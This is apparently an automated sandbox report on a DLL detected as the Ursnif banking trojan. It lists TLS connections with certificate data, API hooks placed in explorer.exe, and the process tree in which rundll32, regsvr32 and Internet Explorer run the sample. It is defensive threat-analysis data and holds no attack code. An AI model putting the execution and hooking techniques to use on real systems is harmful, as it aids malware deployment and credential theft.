Jul 6, 2021 14:31:06.068257093 CEST	82.165.229.54	443	192.168.2.5	49800	CN=*.ui-portal.de, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed May 27 02:00:00 CEST 2020 Mon Nov 06 13:23:45 CET 2017	Wed Jun 01 14:00:00 CEST 2022 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.068257093 CEST	82.165.229.54	443	192.168.2.5	49800	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.132460117 CEST	82.165.229.16	443	192.168.2.5	49802	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.132460117 CEST	82.165.229.16	443	192.168.2.5	49802	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.144257069 CEST	82.165.229.16	443	192.168.2.5	49801	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:06.144257069 CEST	82.165.229.16	443	192.168.2.5	49801	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:44.997397900 CEST	82.165.229.87	443	192.168.2.5	49826	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:44.997397900 CEST	82.165.229.87	443	192.168.2.5	49826	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:44.997452974 CEST	82.165.229.87	443	192.168.2.5	49825	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:44.997452974 CEST	82.165.229.87	443	192.168.2.5	49825	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:45.206566095 CEST	82.165.229.59	443	192.168.2.5	49828	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:45.206566095 CEST	82.165.229.59	443	192.168.2.5	49828	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:45.206619024 CEST	82.165.229.59	443	192.168.2.5	49827	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:45.206619024 CEST	82.165.229.59	443	192.168.2.5	49827	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:45.586935997 CEST	142.250.180.206	443	192.168.2.5	49832	CN=*.google-analytics.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Mon Jun 07 03:34:32 CEST 2021 Thu Jun 15 02:00:42 CEST 2017	Mon Aug 30 03:34:31 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:45.586935997 CEST	142.250.180.206	443	192.168.2.5	49832	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:45.587167978 CEST	142.250.180.206	443	192.168.2.5	49831	CN=*.google-analytics.com, O=Google LLC, L=Mountain View, ST=California, C=US CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GTS CA 1O1, O=Google Trust Services, C=US CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Mon Jun 07 03:34:32 CEST 2021 Thu Jun 15 02:00:42 CEST 2017	Mon Aug 30 03:34:31 CEST 2021 Wed Dec 15 01:00:42 CET 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:45.587167978 CEST	142.250.180.206	443	192.168.2.5	49831	CN=GTS CA 1O1, O=Google Trust Services, C=US	CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R2	Thu Jun 15 02:00:42 CEST 2017	Wed Dec 15 01:00:42 CET 2021		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:46.124229908 CEST	82.165.229.54	443	192.168.2.5	49836	CN=*.ui-portal.de, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed May 27 02:00:00 CEST 2020 Mon Nov 06 13:23:45 CET 2017	Wed Jun 01 14:00:00 CEST 2022 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:46.124229908 CEST	82.165.229.54	443	192.168.2.5	49836	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:46.124387026 CEST	82.165.229.54	443	192.168.2.5	49835	CN=*.ui-portal.de, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed May 27 02:00:00 CEST 2020 Mon Nov 06 13:23:45 CET 2017	Wed Jun 01 14:00:00 CEST 2022 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:46.124387026 CEST	82.165.229.54	443	192.168.2.5	49835	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:46.177767038 CEST	82.165.229.16	443	192.168.2.5	49838	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:46.177767038 CEST	82.165.229.16	443	192.168.2.5	49838	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:46.177829027 CEST	82.165.229.16	443	192.168.2.5	49837	CN=*.mail.com, O=1&1 Mail & Media GmbH, L=Montabaur, ST=Rheinland-Pfalz, C=DE CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Nov 10 01:00:00 CET 2020 Mon Nov 06 13:23:45 CET 2017	Mon Nov 15 00:59:59 CET 2021 Sat Nov 06 13:23:45 CET 2027	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-16-23-24-65281,29-23-24,0	9e10692f1b7f78228b2d4e424db3a98c
Jul 6, 2021 14:31:46.177829027 CEST	82.165.229.16	443	192.168.2.5	49837	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Nov 06 13:23:45 CET 2017	Sat Nov 06 13:23:45 CET 2027		9e10692f1b7f78228b2d4e424db3a98c

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW	IAT	explorer.exe
api-ms-win-core-registry-l1-1-0.dll:RegGetValueW	IAT	explorer.exe
CreateProcessAsUserW	EAT	explorer.exe
CreateProcessAsUserW	INLINE	explorer.exe
CreateProcessW	EAT	explorer.exe
CreateProcessW	INLINE	explorer.exe
CreateProcessA	EAT	explorer.exe
CreateProcessA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: WININET.dll

Function Name	Hook Type	New Data
api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW	IAT	7FFA9B335200
api-ms-win-core-registry-l1-1-0.dll:RegGetValueW	IAT	3B57C64

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
api-ms-win-core-processthreads-l1-1-0.dll:CreateProcessW	IAT	7FFA9B335200
api-ms-win-core-registry-l1-1-0.dll:RegGetValueW	IAT	3B57C64

Process: explorer.exe, Module: KERNEL32.DLL

Function Name	Hook Type	New Data
CreateProcessAsUserW	EAT	7FFA9B33521C
CreateProcessAsUserW	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessW	EAT	7FFA9B335200
CreateProcessW	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessA	EAT	7FFA9B33520E
CreateProcessA	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5292 Parent PID: 5500

General

Start time:	14:29:36
Start date:	06/07/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\2770174.dll'
Imagebase:	0x10d0000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.452621123.0000000002508000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.452413152.0000000002508000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.452703813.0000000002508000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.452659371.0000000002508000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.452359075.0000000002508000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.452511017.0000000002508000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.452558605.0000000002508000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.452589252.0000000002508000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5336 Parent PID: 5292

General

Start time:	14:29:37
Start date:	06/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: regsvr32.exe PID: 5288 Parent PID: 5292

General

Start time:	14:29:37
Start date:	06/07/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\2770174.dll
Imagebase:	0x1350000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.340867138.0000000005278000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.341005235.0000000005278000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.341021111.0000000005278000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.340830267.0000000005278000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.340789162.0000000005278000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.340944106.0000000005278000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.450359527.000000000507C000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.340988909.0000000005278000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000002.00000003.340893376.0000000005278000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5324 Parent PID: 5336

General

Start time:	14:29:37
Start date:	06/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1
Imagebase:	0x30000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.358484652.0000000005168000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.476285292.0000000004F6C000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.358526121.0000000005168000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.358587293.0000000005168000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.358440799.0000000005168000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.358549744.0000000005168000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.358639536.0000000005168000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.358380196.0000000005168000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000003.00000003.358621357.0000000005168000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5300 Parent PID: 5292

General

Start time:	14:29:38
Start date:	06/07/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Internet Explorer\iexplore.exe
Imagebase:	0x7ff644120000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5276 Parent PID: 5292

General

Start time:	14:29:38
Start date:	06/07/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\2770174.dll,DllRegisterServer
Imagebase:	0x30000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.358574602.0000000004B28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.358543809.0000000004B28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.358423422.0000000004B28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.358490581.0000000004B28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.358326330.0000000004B28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.358282465.0000000004B28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.478007505.000000000492C000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.358200334.0000000004B28000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000005.00000003.358524105.0000000004B28000.00000004.00000040.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 2376 Parent PID: 5300

General

Start time:	14:29:39
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17410 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5812 Parent PID: 5300

General

Start time:	14:30:28
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17428 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 2904 Parent PID: 5300

General

Start time:	14:30:36
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17432 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 476 Parent PID: 5300

General

Start time:	14:30:36
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:82960 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 1844 Parent PID: 5300

General

Start time:	14:30:52
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17442 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 2564 Parent PID: 5300

General

Start time:	14:31:01
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17454 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 3020 Parent PID: 5300

General

Start time:	14:31:01
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:82990 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 1240 Parent PID: 5300

General

Start time:	14:31:16
Start date:	06/07/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17474 /prefetch:2
Imagebase:	0xfe0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 2904 Parent PID: 5300

General

